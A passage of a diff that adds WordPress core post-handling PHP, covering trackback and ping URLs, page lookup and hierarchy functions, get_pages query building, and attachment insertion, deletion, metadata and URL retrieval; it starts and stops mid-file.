+	$pung = preg_split('/\s/', $pung);
+
+	/**
+	 * Filter the list of already-pinged URLs for the given post.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array $pung Array of URLs already pinged for the given post.
+	 */
+	$pung = apply_filters( 'get_pung', $pung );
+	return $pung;
+}
+
+/**
+ * Retrieve URLs that need to be pinged.
+ *
+ * @since 1.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $post_id Post ID
+ * @return array
+ */
+function get_to_ping( $post_id ) {
+	global $wpdb;
+	$to_ping = $wpdb->get_var( $wpdb->prepare( "SELECT to_ping FROM $wpdb->posts WHERE ID = %d", $post_id ));
+	$to_ping = sanitize_trackback_urls( $to_ping );
+	$to_ping = preg_split('/\s/', $to_ping, -1, PREG_SPLIT_NO_EMPTY);
+
+	/**
+	 * Filter the list of URLs yet to ping for the given post.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array $to_ping List of URLs yet to ping.
+	 */
+	$to_ping = apply_filters( 'get_to_ping', $to_ping );
+	return $to_ping;
+}
+
+/**
+ * Do trackbacks for a list of URLs.
+ *
+ * @since 1.0.0
+ *
+ * @param string $tb_list Comma separated list of URLs.
+ * @param int    $post_id Post ID.
+ */
+function trackback_url_list( $tb_list, $post_id ) {
+	if ( ! empty( $tb_list ) ) {
+		// Get post data.
+		$postdata = get_post( $post_id, ARRAY_A );
+
+		// Form an excerpt.
+		$excerpt = strip_tags( $postdata['post_excerpt'] ? $postdata['post_excerpt'] : $postdata['post_content'] );
+
+		if ( strlen( $excerpt ) > 255 ) {
+			$excerpt = substr( $excerpt, 0, 252 ) . '&hellip;';
+		}
+
+		$trackback_urls = explode( ',', $tb_list );
+		foreach( (array) $trackback_urls as $tb_url ) {
+			$tb_url = trim( $tb_url );
+			trackback( $tb_url, wp_unslash( $postdata['post_title'] ), $excerpt, $post_id );
+		}
+	}
+}
+
+//
+// Page functions
+//
+
+/**
+ * Get a list of page IDs.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return array List of page IDs.
+ */
+function get_all_page_ids() {
+	global $wpdb;
+
+	$page_ids = wp_cache_get('all_page_ids', 'posts');
+	if ( ! is_array( $page_ids ) ) {
+		$page_ids = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE post_type = 'page'");
+		wp_cache_add('all_page_ids', $page_ids, 'posts');
+	}
+
+	return $page_ids;
+}
+
+/**
+ * Retrieves page data given a page ID or page object.
+ *
+ * Use get_post() instead of get_page().
+ *
+ * @since 1.5.1
+ * @deprecated 3.5.0 Use get_post()
+ *
+ * @param mixed  $page   Page object or page ID. Passed by reference.
+ * @param string $output Optional. What to output. Accepts OBJECT, ARRAY_A, or ARRAY_N.
+ *                       Default OBJECT.
+ * @param string $filter Optional. How the return value should be filtered. Accepts 'raw',
+ *                       'edit', 'db', 'display'. Default 'raw'.
+ * @return WP_Post|null WP_Post on success or null on failure.
+ */
+function get_page( $page, $output = OBJECT, $filter = 'raw') {
+	return get_post( $page, $output, $filter );
+}
+
+/**
+ * Retrieves a page given its path.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string       $page_path Page path.
+ * @param string       $output    Optional. Output type. Accepts OBJECT, ARRAY_N, or ARRAY_A.
+ *                                Default OBJECT.
+ * @param string|array $post_type Optional. Post type or array of post types. Default 'page'.
+ * @return WP_Post|null WP_Post on success or null on failure.
+ */
+function get_page_by_path( $page_path, $output = OBJECT, $post_type = 'page' ) {
+	global $wpdb;
+
+	$page_path = rawurlencode(urldecode($page_path));
+	$page_path = str_replace('%2F', '/', $page_path);
+	$page_path = str_replace('%20', ' ', $page_path);
+	$parts = explode( '/', trim( $page_path, '/' ) );
+	$parts = esc_sql( $parts );
+	$parts = array_map( 'sanitize_title_for_query', $parts );
+
+	$in_string = "'" . implode( "','", $parts ) . "'";
+
+	if ( is_array( $post_type ) ) {
+		$post_types = $post_type;
+	} else {
+		$post_types = array( $post_type, 'attachment' );
+	}
+
+	$post_types = esc_sql( $post_types );
+	$post_type_in_string = "'" . implode( "','", $post_types ) . "'";
+	$sql = "
+		SELECT ID, post_name, post_parent, post_type
+		FROM $wpdb->posts
+		WHERE post_name IN ($in_string)
+		AND post_type IN ($post_type_in_string)
+	";
+
+	$pages = $wpdb->get_results( $sql, OBJECT_K );
+
+	$revparts = array_reverse( $parts );
+
+	$foundid = 0;
+	foreach ( (array) $pages as $page ) {
+		if ( $page->post_name == $revparts[0] ) {
+			$count = 0;
+			$p = $page;
+			while ( $p->post_parent != 0 && isset( $pages[ $p->post_parent ] ) ) {
+				$count++;
+				$parent = $pages[ $p->post_parent ];
+				if ( ! isset( $revparts[ $count ] ) || $parent->post_name != $revparts[ $count ] )
+					break;
+				$p = $parent;
+			}
+
+			if ( $p->post_parent == 0 && $count+1 == count( $revparts ) && $p->post_name == $revparts[ $count ] ) {
+				$foundid = $page->ID;
+				if ( $page->post_type == $post_type )
+					break;
+			}
+		}
+	}
+
+	if ( $foundid )
+		return get_post( $foundid, $output );
+
+	return null;
+}
+
+/**
+ * Retrieve a page given its title.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string       $page_title Page title
+ * @param string       $output     Optional. Output type. OBJECT, ARRAY_N, or ARRAY_A.
+ *                                 Default OBJECT.
+ * @param string|array $post_type  Optional. Post type or array of post types. Default 'page'.
+ * @return WP_Post|null WP_Post on success or null on failure
+ */
+function get_page_by_title( $page_title, $output = OBJECT, $post_type = 'page' ) {
+	global $wpdb;
+
+	if ( is_array( $post_type ) ) {
+		$post_type = esc_sql( $post_type );
+		$post_type_in_string = "'" . implode( "','", $post_type ) . "'";
+		$sql = $wpdb->prepare( "
+			SELECT ID
+			FROM $wpdb->posts
+			WHERE post_title = %s
+			AND post_type IN ($post_type_in_string)
+		", $page_title );
+	} else {
+		$sql = $wpdb->prepare( "
+			SELECT ID
+			FROM $wpdb->posts
+			WHERE post_title = %s
+			AND post_type = %s
+		", $page_title, $post_type );
+	}
+
+	$page = $wpdb->get_var( $sql );
+
+	if ( $page )
+		return get_post( $page, $output );
+
+	return null;
+}
+
+/**
+ * Retrieve child pages from list of pages matching page ID.
+ *
+ * Matches against the pages parameter against the page ID. Also matches all
+ * children for the same to retrieve all children of a page. Does not make any
+ * SQL queries to get the children.
+ *
+ * @since 1.5.1
+ *
+ * @param int   $page_id    Page ID.
+ * @param array $pages      List of pages' objects.
+ * @return array List of page children.
+ */
+function get_page_children( $page_id, $pages ) {
+	$page_list = array();
+	foreach ( (array) $pages as $page ) {
+		if ( $page->post_parent == $page_id ) {
+			$page_list[] = $page;
+			if ( $children = get_page_children( $page->ID, $pages ) ) {
+				$page_list = array_merge( $page_list, $children );
+			}
+		}
+	}
+
+	return $page_list;
+}
+
+/**
+ * Order the pages with children under parents in a flat list.
+ *
+ * It uses auxiliary structure to hold parent-children relationships and
+ * runs in O(N) complexity
+ *
+ * @since 2.0.0
+ *
+ * @param array $pages   Posts array, passed by reference.
+ * @param int   $page_id Optional. Parent page ID. Default 0.
+ * @return array A list arranged by hierarchy. Children immediately follow their parents.
+ */
+function get_page_hierarchy( &$pages, $page_id = 0 ) {
+	if ( empty( $pages ) ) {
+		$result = array();
+		return $result;
+	}
+
+	$children = array();
+	foreach ( (array) $pages as $p ) {
+		$parent_id = intval( $p->post_parent );
+		$children[ $parent_id ][] = $p;
+	}
+
+	$result = array();
+	_page_traverse_name( $page_id, $children, $result );
+
+	return $result;
+}
+
+/**
+ * Traverse and return all the nested children post names of a root page.
+ *
+ * $children contains parent-children relations
+ *
+ * @since 2.9.0
+ *
+ * @see _page_traverse_name()
+ *
+ * @param int   $page_id   Page ID.
+ * @param array &$children Parent-children relations, passed by reference.
+ * @param array &$result   Result, passed by reference.
+ */
+function _page_traverse_name( $page_id, &$children, &$result ){
+	if ( isset( $children[ $page_id ] ) ){
+		foreach( (array)$children[ $page_id ] as $child ) {
+			$result[ $child->ID ] = $child->post_name;
+			_page_traverse_name( $child->ID, $children, $result );
+		}
+	}
+}
+
+/**
+ * Build URI for a page.
+ *
+ * Sub pages will be in the "directory" under the parent page post name.
+ *
+ * @since 1.5.0
+ *
+ * @param WP_Post|object|int $page Page object or page ID.
+ * @return string|false Page URI, false on error.
+ */
+function get_page_uri( $page ) {
+	$page = get_post( $page );
+
+	if ( ! $page )
+		return false;
+
+	$uri = $page->post_name;
+
+	foreach ( $page->ancestors as $parent ) {
+		$uri = get_post( $parent )->post_name . '/' . $uri;
+	}
+
+	return $uri;
+}
+
+/**
+ * Retrieve a list of pages.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @since 1.5.0
+ *
+ * @param array|string $args {
+ *     Optional. Array or string of arguments to retrieve pages.
+ *
+ *     @type int          $child_of     Page ID to return child and grandchild pages of.
+ *                                      Default 0, or no restriction.
+ *     @type string       $sort_order   How to sort retrieved pages. Accepts 'ASC', 'DESC'. Default 'ASC'.
+ *     @type string       $sort_column  What columns to sort pages by, comma-separated. Accepts 'post_author',
+ *                                      'post_date', 'post_title', 'post_name', 'post_modified', 'menu_order',
+ *                                      'post_modified_gmt', 'post_parent', 'ID', 'rand', 'comment_count'.
+ *                                      'post_' can be omitted for any values that start with it.
+ *                                      Default 'post_title'.
+ *     @type bool         $hierarchical Whether to return pages hierarchically. Default true.
+ *     @type array        $exclude      Array of page IDs to exclude. Default empty array.
+ *     @type array        $include      Array of page IDs to include. Cannot be used with `$child_of`,
+ *                                      `$parent`, `$exclude`, `$meta_key`, `$meta_value`, or `$hierarchical`.
+ *                                      Default empty array.
+ *     @type string       $meta_key     Only include pages with this meta key. Default empty.
+ *     @type string       $meta_value   Only include pages with this meta value. Requires `$meta_key`.
+ *                                      Default empty.
+ *     @type string       $authors      A comma-separated list of author IDs. Default empty.
+ *     @type int          $parent       Page ID to return direct children of. `$hierarchical` must be false.
+ *                                      Default -1, or no restriction.
+ *     @type string|array $exclude_tree Comma-separated string or array of page IDs to exclude.
+ *                                      Default empty array.
+ *     @type int          $number       The number of pages to return. Default 0, or all pages.
+ *     @type int          $offset       The number of pages to skip before returning. Requires `$number`.
+ *                                      Default 0.
+ *     @type string       $post_type    The post type to query. Default 'page'.
+ *     @type string       $post_status  A comma-separated list of post status types to include.
+ *                                      Default 'publish'.
+ * }
+ * @return array List of pages matching defaults or `$args`.
+ */
+function get_pages( $args = array() ) {
+	global $wpdb;
+
+	$defaults = array(
+		'child_of' => 0, 'sort_order' => 'ASC',
+		'sort_column' => 'post_title', 'hierarchical' => 1,
+		'exclude' => array(), 'include' => array(),
+		'meta_key' => '', 'meta_value' => '',
+		'authors' => '', 'parent' => -1, 'exclude_tree' => array(),
+		'number' => '', 'offset' => 0,
+		'post_type' => 'page', 'post_status' => 'publish',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$number = (int) $r['number'];
+	$offset = (int) $r['offset'];
+	$child_of = (int) $r['child_of'];
+	$hierarchical = $r['hierarchical'];
+	$exclude = $r['exclude'];
+	$meta_key = $r['meta_key'];
+	$meta_value = $r['meta_value'];
+	$parent = $r['parent'];
+	$post_status = $r['post_status'];
+
+	// Make sure the post type is hierarchical.
+	$hierarchical_post_types = get_post_types( array( 'hierarchical' => true ) );
+	if ( ! in_array( $r['post_type'], $hierarchical_post_types ) ) {
+		return false;
+	}
+
+	if ( $parent > 0 && ! $child_of ) {
+		$hierarchical = false;
+	}
+
+	// Make sure we have a valid post status.
+	if ( ! is_array( $post_status ) ) {
+		$post_status = explode( ',', $post_status );
+	}
+	if ( array_diff( $post_status, get_post_stati() ) ) {
+		return false;
+	}
+
+	// $args can be whatever, only use the args defined in defaults to compute the key.
+	$key = md5( serialize( wp_array_slice_assoc( $r, array_keys( $defaults ) ) ) );
+	$last_changed = wp_cache_get( 'last_changed', 'posts' );
+	if ( ! $last_changed ) {
+		$last_changed = microtime();
+		wp_cache_set( 'last_changed', $last_changed, 'posts' );
+	}
+
+	$cache_key = "get_pages:$key:$last_changed";
+	if ( $cache = wp_cache_get( $cache_key, 'posts' ) ) {
+		// Convert to WP_Post instances.
+		$pages = array_map( 'get_post', $cache );
+		/** This filter is documented in wp-includes/post.php */
+		$pages = apply_filters( 'get_pages', $pages, $r );
+		return $pages;
+	}
+
+	$inclusions = '';
+	if ( ! empty( $r['include'] ) ) {
+		$child_of = 0; //ignore child_of, parent, exclude, meta_key, and meta_value params if using include
+		$parent = -1;
+		$exclude = '';
+		$meta_key = '';
+		$meta_value = '';
+		$hierarchical = false;
+		$incpages = wp_parse_id_list( $r['include'] );
+		if ( ! empty( $incpages ) ) {
+			$inclusions = ' AND ID IN (' . implode( ',', $incpages ) .  ')';
+		}
+	}
+
+	$exclusions = '';
+	if ( ! empty( $exclude ) ) {
+		$expages = wp_parse_id_list( $exclude );
+		if ( ! empty( $expages ) ) {
+			$exclusions = ' AND ID NOT IN (' . implode( ',', $expages ) .  ')';
+		}
+	}
+
+	$author_query = '';
+	if ( ! empty( $r['authors'] ) ) {
+		$post_authors = preg_split( '/[\s,]+/', $r['authors'] );
+
+		if ( ! empty( $post_authors ) ) {
+			foreach ( $post_authors as $post_author ) {
+				//Do we have an author id or an author login?
+				if ( 0 == intval($post_author) ) {
+					$post_author = get_user_by('login', $post_author);
+					if ( empty( $post_author ) ) {
+						continue;
+					}
+					if ( empty( $post_author->ID ) ) {
+						continue;
+					}
+					$post_author = $post_author->ID;
+				}
+
+				if ( '' == $author_query ) {
+					$author_query = $wpdb->prepare(' post_author = %d ', $post_author);
+				} else {
+					$author_query .= $wpdb->prepare(' OR post_author = %d ', $post_author);
+				}
+			}
+			if ( '' != $author_query ) {
+				$author_query = " AND ($author_query)";
+			}
+		}
+	}
+
+	$join = '';
+	$where = "$exclusions $inclusions ";
+	if ( '' !== $meta_key || '' !== $meta_value ) {
+		$join = " LEFT JOIN $wpdb->postmeta ON ( $wpdb->posts.ID = $wpdb->postmeta.post_id )";
+
+		// meta_key and meta_value might be slashed
+		$meta_key = wp_unslash($meta_key);
+		$meta_value = wp_unslash($meta_value);
+		if ( '' !== $meta_key ) {
+			$where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_key = %s", $meta_key);
+		}
+		if ( '' !== $meta_value ) {
+			$where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_value = %s", $meta_value);
+		}
+
+	}
+
+	if ( is_array( $parent ) ) {
+		$post_parent__in = implode( ',', array_map( 'absint', (array) $parent ) );
+		if ( ! empty( $post_parent__in ) ) {
+			$where .= " AND post_parent IN ($post_parent__in)";
+		}
+	} elseif ( $parent >= 0 ) {
+		$where .= $wpdb->prepare(' AND post_parent = %d ', $parent);
+	}
+
+	if ( 1 == count( $post_status ) ) {
+		$where_post_type = $wpdb->prepare( "post_type = %s AND post_status = %s", $r['post_type'], array_shift( $post_status ) );
+	} else {
+		$post_status = implode( "', '", $post_status );
+		$where_post_type = $wpdb->prepare( "post_type = %s AND post_status IN ('$post_status')", $r['post_type'] );
+	}
+
+	$orderby_array = array();
+	$allowed_keys = array( 'author', 'post_author', 'date', 'post_date', 'title', 'post_title', 'name', 'post_name', 'modified',
+		'post_modified', 'modified_gmt', 'post_modified_gmt', 'menu_order', 'parent', 'post_parent',
+		'ID', 'rand', 'comment_count' );
+
+	foreach ( explode( ',', $r['sort_column'] ) as $orderby ) {
+		$orderby = trim( $orderby );
+		if ( ! in_array( $orderby, $allowed_keys ) ) {
+			continue;
+		}
+
+		switch ( $orderby ) {
+			case 'menu_order':
+				break;
+			case 'ID':
+				$orderby = "$wpdb->posts.ID";
+				break;
+			case 'rand':
+				$orderby = 'RAND()';
+				break;
+			case 'comment_count':
+				$orderby = "$wpdb->posts.comment_count";
+				break;
+			default:
+				if ( 0 === strpos( $orderby, 'post_' ) ) {
+					$orderby = "$wpdb->posts." . $orderby;
+				} else {
+					$orderby = "$wpdb->posts.post_" . $orderby;
+				}
+		}
+
+		$orderby_array[] = $orderby;
+
+	}
+	$sort_column = ! empty( $orderby_array ) ? implode( ',', $orderby_array ) : "$wpdb->posts.post_title";
+
+	$sort_order = strtoupper( $r['sort_order'] );
+	if ( '' !== $sort_order && ! in_array( $sort_order, array( 'ASC', 'DESC' ) ) ) {
+		$sort_order = 'ASC';
+	}
+
+	$query = "SELECT * FROM $wpdb->posts $join WHERE ($where_post_type) $where ";
+	$query .= $author_query;
+	$query .= " ORDER BY " . $sort_column . " " . $sort_order ;
+
+	if ( ! empty( $number ) ) {
+		$query .= ' LIMIT ' . $offset . ',' . $number;
+	}
+
+	$pages = $wpdb->get_results($query);
+
+	if ( empty($pages) ) {
+		/** This filter is documented in wp-includes/post.php */
+		$pages = apply_filters( 'get_pages', array(), $r );
+		return $pages;
+	}
+
+	// Sanitize before caching so it'll only get done once.
+	$num_pages = count($pages);
+	for ($i = 0; $i < $num_pages; $i++) {
+		$pages[$i] = sanitize_post($pages[$i], 'raw');
+	}
+
+	// Update cache.
+	update_post_cache( $pages );
+
+	if ( $child_of || $hierarchical ) {
+		$pages = get_page_children($child_of, $pages);
+	}
+
+	if ( ! empty( $r['exclude_tree'] ) ) {
+		$exclude = wp_parse_id_list( $r['exclude_tree'] );
+		foreach( $exclude as $id ) {
+			$children = get_page_children( $id, $pages );
+			foreach ( $children as $child ) {
+				$exclude[] = $child->ID;
+			}
+		}
+
+		$num_pages = count( $pages );
+		for ( $i = 0; $i < $num_pages; $i++ ) {
+			if ( in_array( $pages[$i]->ID, $exclude ) ) {
+				unset( $pages[$i] );
+			}
+		}
+	}
+
+	$page_structure = array();
+	foreach ( $pages as $page ) {
+		$page_structure[] = $page->ID;
+	}
+
+	wp_cache_set( $cache_key, $page_structure, 'posts' );
+
+	// Convert to WP_Post instances
+	$pages = array_map( 'get_post', $pages );
+
+	/**
+	 * Filter the retrieved list of pages.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $pages List of pages to retrieve.
+	 * @param array $r     Array of get_pages() arguments.
+	 */
+	$pages = apply_filters( 'get_pages', $pages, $r );
+
+	return $pages;
+}
+
+//
+// Attachment functions
+//
+
+/**
+ * Check if the attachment URI is local one and is really an attachment.
+ *
+ * @since 2.0.0
+ *
+ * @param string $url URL to check
+ * @return bool True on success, false on failure.
+ */
+function is_local_attachment($url) {
+	if (strpos($url, home_url()) === false)
+		return false;
+	if (strpos($url, home_url('/?attachment_id=')) !== false)
+		return true;
+	if ( $id = url_to_postid($url) ) {
+		$post = get_post($id);
+		if ( 'attachment' == $post->post_type )
+			return true;
+	}
+	return false;
+}
+
+/**
+ * Insert an attachment.
+ *
+ * If you set the 'ID' in the $args parameter, it will mean that you are
+ * updating and attempt to update the attachment. You can also set the
+ * attachment name or title by setting the key 'post_name' or 'post_title'.
+ *
+ * You can set the dates for the attachment manually by setting the 'post_date'
+ * and 'post_date_gmt' keys' values.
+ *
+ * By default, the comments will use the default settings for whether the
+ * comments are allowed. You can close them manually or keep them open by
+ * setting the value for the 'comment_status' key.
+ *
+ * @since 2.0.0
+ *
+ * @see wp_insert_post()
+ *
+ * @param string|array $args   Arguments for inserting an attachment.
+ * @param string       $file   Optional. Filename.
+ * @param int          $parent Optional. Parent post ID.
+ * @return int Attachment ID.
+ */
+function wp_insert_attachment( $args, $file = false, $parent = 0 ) {
+	$defaults = array(
+		'file'        => $file,
+		'post_parent' => 0
+	);
+
+	$data = wp_parse_args( $args, $defaults );
+
+	if ( ! empty( $parent ) ) {
+		$data['post_parent'] = $parent;
+	}
+
+	$data['post_type'] = 'attachment';
+
+	return wp_insert_post( $data );
+}
+
+/**
+ * Trash or delete an attachment.
+ *
+ * When an attachment is permanently deleted, the file will also be removed.
+ * Deletion removes all post meta fields, taxonomy, comments, etc. associated
+ * with the attachment (except the main post).
+ *
+ * The attachment is moved to the trash instead of permanently deleted unless trash
+ * for media is disabled, item is already in the trash, or $force_delete is true.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int  $post_id      Attachment ID.
+ * @param bool $force_delete Optional. Whether to bypass trash and force deletion.
+ *                           Default false.
+ * @return mixed False on failure. Post data on success.
+ */
+function wp_delete_attachment( $post_id, $force_delete = false ) {
+	global $wpdb;
+
+	if ( !$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) )
+		return $post;
+
+	if ( 'attachment' != $post->post_type )
+		return false;
+
+	if ( !$force_delete && EMPTY_TRASH_DAYS && MEDIA_TRASH && 'trash' != $post->post_status )
+		return wp_trash_post( $post_id );
+
+	delete_post_meta($post_id, '_wp_trash_meta_status');
+	delete_post_meta($post_id, '_wp_trash_meta_time');
+
+	$meta = wp_get_attachment_metadata( $post_id );
+	$backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true );
+	$file = get_attached_file( $post_id );
+
+	if ( is_multisite() )
+		delete_transient( 'dirsize_cache' );
+
+	/**
+	 * Fires before an attachment is deleted, at the start of wp_delete_attachment().
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int $post_id Attachment ID.
+	 */
+	do_action( 'delete_attachment', $post_id );
+
+	wp_delete_object_term_relationships($post_id, array('category', 'post_tag'));
+	wp_delete_object_term_relationships($post_id, get_object_taxonomies($post->post_type));
+
+	// Delete all for any posts.
+	delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
+
+	$comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id ));
+	foreach ( $comment_ids as $comment_id )
+		wp_delete_comment( $comment_id, true );
+
+	$post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $post_id ));
+	foreach ( $post_meta_ids as $mid )
+		delete_metadata_by_mid( 'post', $mid );
+
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'delete_post', $post_id );
+	$result = $wpdb->delete( $wpdb->posts, array( 'ID' => $post_id ) );
+	if ( ! $result ) {
+		return false;
+	}
+	/** This action is documented in wp-includes/post.php */
+	do_action( 'deleted_post', $post_id );
+
+	$uploadpath = wp_upload_dir();
+
+	if ( ! empty($meta['thumb']) ) {
+		// Don't delete the thumb if another attachment uses it.
+		if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
+			$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
+			/** This filter is documented in wp-admin/custom-header.php */
+			$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
+			@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
+		}
+	}
+
+	// Remove intermediate and backup images if there are any.
+	if ( isset( $meta['sizes'] ) && is_array( $meta['sizes'] ) ) {
+		foreach ( $meta['sizes'] as $size => $sizeinfo ) {
+			$intermediate_file = str_replace( basename( $file ), $sizeinfo['file'], $file );
+			/** This filter is documented in wp-admin/custom-header.php */
+			$intermediate_file = apply_filters( 'wp_delete_file', $intermediate_file );
+			@ unlink( path_join( $uploadpath['basedir'], $intermediate_file ) );
+		}
+	}
+
+	if ( is_array($backup_sizes) ) {
+		foreach ( $backup_sizes as $size ) {
+			$del_file = path_join( dirname($meta['file']), $size['file'] );
+			/** This filter is documented in wp-admin/custom-header.php */
+			$del_file = apply_filters( 'wp_delete_file', $del_file );
+			@ unlink( path_join($uploadpath['basedir'], $del_file) );
+		}
+	}
+
+	/** This filter is documented in wp-admin/custom-header.php */
+	$file = apply_filters( 'wp_delete_file', $file );
+
+	if ( ! empty($file) )
+		@ unlink($file);
+
+	clean_post_cache( $post );
+
+	return $post;
+}
+
+/**
+ * Retrieve attachment meta field for attachment ID.
+ *
+ * @since 2.1.0
+ *
+ * @param int  $post_id    Attachment ID. Default 0.
+ * @param bool $unfiltered Optional. If true, filters are not run. Default false.
+ * @return string|bool Attachment meta field. False on failure.
+ */
+function wp_get_attachment_metadata( $post_id = 0, $unfiltered = false ) {
+	$post_id = (int) $post_id;
+	if ( !$post = get_post( $post_id ) )
+		return false;
+
+	$data = get_post_meta( $post->ID, '_wp_attachment_metadata', true );
+
+	if ( $unfiltered )
+		return $data;
+
+	/**
+	 * Filter the attachment meta data.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array|bool $data    Array of meta data for the given attachment, or false
+	 *                            if the object does not exist.
+	 * @param int        $post_id Attachment ID.
+	 */
+	return apply_filters( 'wp_get_attachment_metadata', $data, $post->ID );
+}
+
+/**
+ * Update metadata for an attachment.
+ *
+ * @since 2.1.0
+ *
+ * @param int   $post_id Attachment ID.
+ * @param array $data    Attachment data.
+ * @return int|bool False if $post is invalid.
+ */
+function wp_update_attachment_metadata( $post_id, $data ) {
+	$post_id = (int) $post_id;
+	if ( !$post = get_post( $post_id ) )
+		return false;
+
+	/**
+	 * Filter the updated attachment meta data.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $data    Array of updated attachment meta data.
+	 * @param int   $post_id Attachment ID.
+	 */
+	if ( $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ) )
+		return update_post_meta( $post->ID, '_wp_attachment_metadata', $data );
+	else
+		return delete_post_meta( $post->ID, '_wp_attachment_metadata' );
+}
+
+/**
+ * Retrieve the URL for an attachment.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Optional. Attachment ID. Default 0.
+ * @return string|bool Attachment URL, otherwise false.
+ */
+function wp_get_attachment_url( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+	if ( !$post = get_post( $post_id ) )
+		return false;
+
+	if ( 'attachment' != $post->post_type )
+		return false;
+
+	$url = '';
+	// Get attached file.
+	if ( $file = get_post_meta( $post->ID, '_wp_attached_file', true) ) {
+		// Get upload directory.
+		if ( ($uploads = wp_upload_dir()) && false === $uploads['error'] ) {
+			// Check that the upload base exists in the file location.
+			if ( 0 === strpos( $file, $uploads['basedir'] ) ) {
+				// Replace file location with url location.
+				$url = str_replace($uploads['basedir'], $uploads['baseurl'], $file);
+			} elseif ( false !== strpos($file, 'wp-content/uploads') ) {
+				$url = $uploads['baseurl'] . substr( $file, strpos($file, 'wp-content/uploads') + 18 );
+			} else {
+				// It's a newly-uploaded file, therefore $file is relative to the basedir.
+				$url = $uploads['baseurl'] . "/$file";
+			}
+		}
+	}
+
+	/*
+	 * If any of the above options failed, Fallback on the GUID as used pre-2.7,
+	 * not recommended to rely upon this.
+	 */
+	if ( empty($url) ) {
+		$url = get_the_guid( $post->ID );
+	}
+
+	/**
+	 * Filter the attachment URL.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $url     URL for the given attachment.
+	 * @param int    $post_id Attachment ID.
+	 */
+	$url = apply_filters( 'wp_get_attachment_url', $url, $post->ID );
+
+	if ( empty( $url ) )
+		return false;
+
+	return $url;
+}
+
+/**
+ * Retrieve thumbnail for an attachment.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Optional. Attachment ID. Default 0.
+ * @return mixed False on failure. Thumbnail file path on success.
+ */
+function wp_get_attachment_thumb_file( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+	if ( !$post = get_post( $post_id ) )
+		return false;
+	if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
+		return false;
+
+	$file = get_attached_file( $post->ID );
+
+	if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
+		/**
+		 * Filter the attachment thumbnail file path.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $thumbfile File path to the attachment thumbnail.
+		 * @param int    $post_id   Attachment ID.
+		 */
+		return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
+	}
+	return false;
+}
+
+/**
+ * Retrieve URL for an attachment thumbnail.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Optional. Attachment ID. Default 0.
+ * @return string|bool False on failure. Thumbnail URL on success.
+ */
+function wp_get_attachment_thumb_url( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+	if ( !$post = get_post( $post_id ) )
+		return false;
+	if ( !$url = wp_get_attachment_url( $post->ID ) )
+		return false;
+
+	$sized = image_downsize( $post_id, 'thumbnail' );
+	if ( $sized )
+		return $sized[0];
+
+	if ( !$thumb = wp_get_attachment_thumb_file( $post->ID ) )
+		return false;
+
+	$url = str_replace(basename($url), basename($thumb), $url);
+
+	/**
+	 * Filter the attachment thumbnail URL.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $url     URL for the attachment thumbnail.
+	 * @param int    $post_id Attachment ID.
+	 */
+	return apply_filters( 'wp_get_attachment_thumb_url', $url, $post->ID );
+}
+
+/**
+ * Check if the attachment is an image.
+ *
+ * @since 2.1.0
+ *
+ * @param int $post_id Optional. Attachment ID. Default 0.
+ * @return bool Whether the attachment is an image.
+ */
+function wp_attachment_is_image( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+	if ( !$post = get_post( $post_id ) )
+		return false;
+
+	if ( !$file = get_attached_file( $post->ID ) )
+		return false;
+
+	$ext = preg_match('/\.([^.]+)$/', $file, $matches) ? strtolower($matches[1]) : false;
+
+	$image_exts = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png' );
+
+	if ( 'image/' == substr($post->post_mime_type, 0, 6) || $ext && 'import' == $post->post_mime_type && in_array($ext, $image_exts) )
+		return true;
+	return false;
+}
+
+/**
+ * Retrieve the icon for a MIME type.
+ *
+ * @since 2.1.0
+ *
+ * @param string|int $mime MIME type or attachment ID.
